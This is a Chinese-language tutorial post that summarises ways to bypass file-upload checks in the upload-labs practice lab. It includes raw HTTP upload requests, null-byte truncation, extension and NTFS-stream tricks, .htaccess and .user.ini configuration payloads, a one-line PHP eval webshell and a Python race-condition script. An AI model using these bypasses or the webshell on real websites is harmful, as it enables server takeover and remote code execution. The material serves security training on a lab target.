文件上传简单的绕过总结

目录

绕过前端JS校验

修改MIME头

白名单校验

%00截断

00截断

图片马+文件包含漏洞

getimagesize()绕过

exif_imagetype()绕过

二次渲染绕过

条件竞争

黑名单校验

扩展名绕过

大小写绕过

双写绕过

win环境末尾加.绕过

win环境末尾加空格绕过

win环境NTFS数据流绕过

[win环境. . 绕过](#win环境. . 绕过)

上传.htaccess

上传.user.ini

绕过前端JS校验

修改MIME头

白名单校验

%00截断

url文件上传路径可控,且是GET方式如

bash 复制代码
POST /Pass-12/index.php?save_path=../upload/ HTTP/1.1
Host: 192.168.112.1
Content-Length: 317
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywbRn0IlTa7M4vDez
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-12/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundarywbRn0IlTa7M4vDez
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundarywbRn0IlTa7M4vDez--

通过将路径写成save_path=../upload/1.php%00,随后请求头参数写成filename=1.jpg,首先1.jpg绕过白名单校验,随后路径拼接并保存为../upload/1.php%001.jpg,但是服务端读取解析时遇到%00会将后面的截断,所以解析的实际上是1.php文件而不是1.php%001.jpg文件。

00截断

url文件上传路径可控,且是POST方式如

bash 复制代码
POST /Pass-13/index.php HTTP/1.1
Host: 192.168.112.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.112.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryinAJxRHj968kAgcE
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.112.1/Pass-13/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="save_path"

../upload/
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryinAJxRHj968kAgcE
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundaryinAJxRHj968kAgcE--

POST方式,url可控但是在请求体中,文件名也在请求体中,这里我们通过将../upload/写为../upload/1.php+,随后使用十六进制形式将+号的十六进制形式改为00,随后文件名为1.jpg然后放包就可以了,这里为什么不直接拼接%00呢?因为使用POST方式不能对%00进行解码,但是GET方式就可以,这个思路跟%00截断大差不差。

图片马+文件包含漏洞

使用windows的cmd制作图片马

随后配合文件包含漏洞

getimagesize()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

exif_imagetype()绕过

可以使用windows制作图片马或者直接在含有恶意php脚本的图片文件前面插入GIF89a

二次渲染绕过

有些二次渲染会将原本的包含图片马进行损坏,这里可以通过使用010editor编辑一个二次渲染后图片马不会损坏的图片马,这里直接给出一个二次渲染后不会损坏的图片马点击这里,该图片马内容为,随后配合文件包含漏洞打组合拳即可。

php 复制代码
<?php @eval($_POST['zoe']);?>

条件竞争

python脚本(url改成你们自己上传文件后的路径)

python 复制代码
import requests
import threading
import os
 
 
class RaceCondition(threading.Thread):
    def __init__(self):
        threading.Thread.__init__(self)
        self.url = 'http://127.0.0.1/upload-labs/upload/wshell.php'
 
    def _get(self):
        print('try to call uploaded file...')
        r = requests.get(self.url)
        if r.status_code == 200:
            print(r.text)
            os._exit(0)
 
    def run(self):
        while True:
            for i in range(5):
                self._get()
 
            for i in range(10):
                self._get()
 
 
if __name__ == '__main__':
    threads = 50
 
    for i in range(threads):
        t = RaceCondition()
        t.start()
 
    for i in range(threads):
        t.join()

这个脚本的作用是不断访问上传的木马文件1.php,直到访问成功(返回200状态码)时才停止访问。

然后burp爆破无限上传1.php,随后脚本执行,即可能条件竞争成功。

黑名单校验

扩展名绕过

1.php->1.php3

1.php3,1.php4,1.php5,1.php6,1.php7

1.phtml

大小写绕过

1.php->1.PHp

双写绕过

1.php->1.pphphp

win环境末尾加.绕过

1.php->1.php.

win环境末尾加空格绕过

1.php->1.php

win环境NTFS数据流绕过

1.php->1.php::$DATA

win环境. . 绕过

1.php->1.php. .

上传.htaccess

.htaccess文件内容如下

bash 复制代码
AddType application/x-httpd-php .jpg

首先上传1个.htaccess文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,Apache会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

上传.user.ini

.user.ini文件内容如下

bash 复制代码
auto_prepend_file=1.jpg(与自己上传的文件名相同)

先上传.user.ini文件,接着上传一个1.jpg文件,文件中包含php恶意代码。

当尝试访问1.jpg文件时,开启了fastcgi的服务器如(Nginx,Apache)会尝试将它作为php脚本并执行,而不是显示它作为图象文件。

AddType application/x-httpd-php .jpg

auto_prepend_file=1.jpg

相关推荐
一直向钱5 小时前
android 自定义Dialog多种方式
android
sun0077005 小时前
OverlayManager service, overlay, idmap, rro, android
android
_Sem6 小时前
Compose 动画 + KMM 跨平台开发:从传统View到现代声明式UI动画
android·composer
2501_916007477 小时前
前端开发工具都有哪些?常用前端开发工具清单与场景化推荐
android·ios·小程序·https·uni-app·iphone·webview
2501_9159090610 小时前
iOS 应用上架全流程解析,苹果应用发布步骤、ipa 上传工具、TestFlight 测试与 App Store 审核经验
android·macos·ios·小程序·uni-app·cocoa·iphone
路上^_^10 小时前
安卓基础组件024-fagment
android
ljt272496066111 小时前
Compose笔记(五十一)--rememberTextMeasurer
android·笔记·android jetpack
阿蓝85812 小时前
Android代码架构
android
ZFJ_张福杰17 小时前
【Flutter】GetX最佳实践与避坑指南
android·flutter·ios·getx